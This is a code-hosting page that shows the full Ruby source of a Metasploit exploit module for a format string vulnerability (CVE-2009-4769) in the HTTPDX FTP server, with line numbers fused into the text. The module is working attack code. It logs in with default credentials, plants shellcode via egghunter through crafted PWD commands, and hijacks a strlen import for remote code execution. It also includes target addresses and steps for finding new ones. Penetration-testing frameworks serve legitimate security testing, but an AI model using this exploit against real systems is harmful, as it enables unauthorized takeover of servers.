Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/httpdx_tolog_format.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Egghunter10include Msf::Exploit::FormatString1112def initialize(info = {})13super(update_info(info,14'Name' => 'HTTPDX tolog() Function Format String Vulnerability',15'Description' => %q{16This module exploits a format string vulnerability in HTTPDX FTP server.17By sending a specially crafted FTP command containing format specifiers, an18attacker can corrupt memory and execute arbitrary code.1920By default logging is off for HTTP, but enabled for the 'moderator' user21via FTP.22},23'Author' =>24[25'jduck' # original discovery and metasploit module26],27'References' =>28[29[ 'CVE', '2009-4769' ],30[ 'OSVDB', '60181' ]31],32'DefaultOptions' =>33{34'EXITFUNC' => 'process'35},36'Privileged' => true,37'Payload' =>38{39# format string max length40'Space' => 1024,41'BadChars' => "\x00\x0a\x0d\x25",42'DisableNops' => 'True',43'StackAdjustment' => -150044},45'Platform' => 'win',46'Targets' =>47[48#49# Automatic targeting via fingerprinting50#51[ 'Automatic Targeting', { 'auto' => true } ],5253#54# specific targets55#56[ 'httpdx 1.4 - Windows XP SP3 English',57{58'NumPops' => 37,59'Writable' => 0x64f87810, # empty space in core.dll imports60'FlowHook' => 0x64f870e8 # core.dll import for strlen61}62],63[ 'httpdx 1.4.5 - Windows XP SP3 English',64{65'NumPops' => 37,66'Writable' => 0x64f87810, # empty space in core.dll imports67'FlowHook' => 0x64f870e8 # core.dll import for strlen68}69],70[ 'httpdx 1.4.6 - Windows XP SP3 English',71{72'NumPops' => 37,73'Writable' => 0x64f87810, # empty space in core.dll imports74'FlowHook' => 0x64f870e8 # core.dll import for strlen75}76],77[ 'httpdx 1.4.6b - Windows XP SP3 English',78{79'NumPops' => 37,80'Writable' => 0x64f87810, # empty space in core.dll imports81'FlowHook' => 0x64f870e8 # core.dll import for strlen82}83],84[ 'httpdx 1.5 - Windows XP SP3 English',85{86'NumPops' => 29,87'Writable' => 0x64f87810, # empty space in core.dll imports88'FlowHook' => 0x64f870e8 # core.dll import for strlen89}90]91],92'DefaultTarget' => 0,93'DisclosureDate' => '2009-11-17'))94=begin9596NOTE: Even though all targets have the same addresses now, future targets may not.9798To find a target:991001. open "core.dll" in IDA Pro1012. navigate to the "c_wildcmp" function1023. follow the xref to the first strlen1034. follow the xref to the imports area1045. copy/paste the address1056. the 'Writable' value should be anything after the last address IDA shows..106(preferably something above 0x0d, to avoid bad chars)107108If crashes occur referencing strange values, 'NumPops' probably needs adjusting.109For now, that will have to be done manually.110111=end112register_options(113[114Opt::RPORT(21),115# note the default user/pass116OptString.new('FTPUSER', [ true, 'The username to authenticate as', 'moderator'], fallbacks: ['USERNAME']),117OptString.new('FTPPASS', [ true, 'The password to authenticate with', 'pass123'], fallbacks: ['PASSWORD'])118])119end120121122def check123connect124disconnect125vprint_status("FTP Banner: #{banner}".strip)126if banner =~ /httpdx.*\(Win32\)/127return Exploit::CheckCode::Detected128end129return Exploit::CheckCode::Safe130end131132133def exploit134135# Use a copy of the target136mytarget = target137138if (target['auto'])139mytarget = nil140141print_status("Automatically detecting the target...")142connect143disconnect144145if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then146print_status("FTP Banner: #{banner.strip}")147version = m[1]148else149print_status("No matching target")150return151end152153self.targets.each do |t|154if (t.name =~ /#{version} - /) then155mytarget = t156break157end158end159160if (not mytarget)161print_status("No matching target")162return163end164165print_status("Selected Target: #{mytarget.name}")166else167print_status("Trying target #{mytarget.name}...")168end169170# proceed with chosen target...171c = connect_login172return if not c173174# '<ip>\n PWD '175ip_length = Rex::Socket.source_address(datastore['RHOST']).length176num_start = ip_length + 1 + 3 + 1177178179# use the egghunter!180eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })181182# write shellcode to 'writable' (all at once)183fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)184print_status(" payload format string buffer is #{fmtbuf.length} bytes")185if (res = send_cmd(['PWD', fmtbuf ], true))186print_status(res.strip)187end188189190# write 'writable' addr to flowhook (execute shellcode)191# NOTE: the resulting two writes must be done at the same time192fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)193194# add payload to the end195fmtbuf << eh_egg196print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")197if (res = send_cmd(['PWD', fmtbuf ], true))198print_status(res.strip)199end200201202disconnect203handler204205# connect again to trigger shellcode206print_status(" triggering shellcode now")207print_status("Please be patient, the egg hunter may take a while...")208connect209end210end211212213=begin214215also present in 1.5 (presumably all versions in between)2162171.4/httpdx_src/ftp.cpp:218219544 //printf(out);220545 char af[MAX] = {0};221546 if(isset(out) && client->serve.log || client->serve.debug)222547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);223548 if(isset(out) && client->serve.log)224549 tolog(client->serve.accessl,af);225550 if(isset(out) && client->serve.debug)226551 printf(af);2272281.4/httpdx_src/http.cpp:229230172 char af[MAX] = {0};231173 if(client.serve.log || client.serve.debug)232174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);233175 if(client.serve.log)234176 tolog(client.serve.accessl,af);235177 if(client.serve.debug)236178 printf(af);237238=end239240241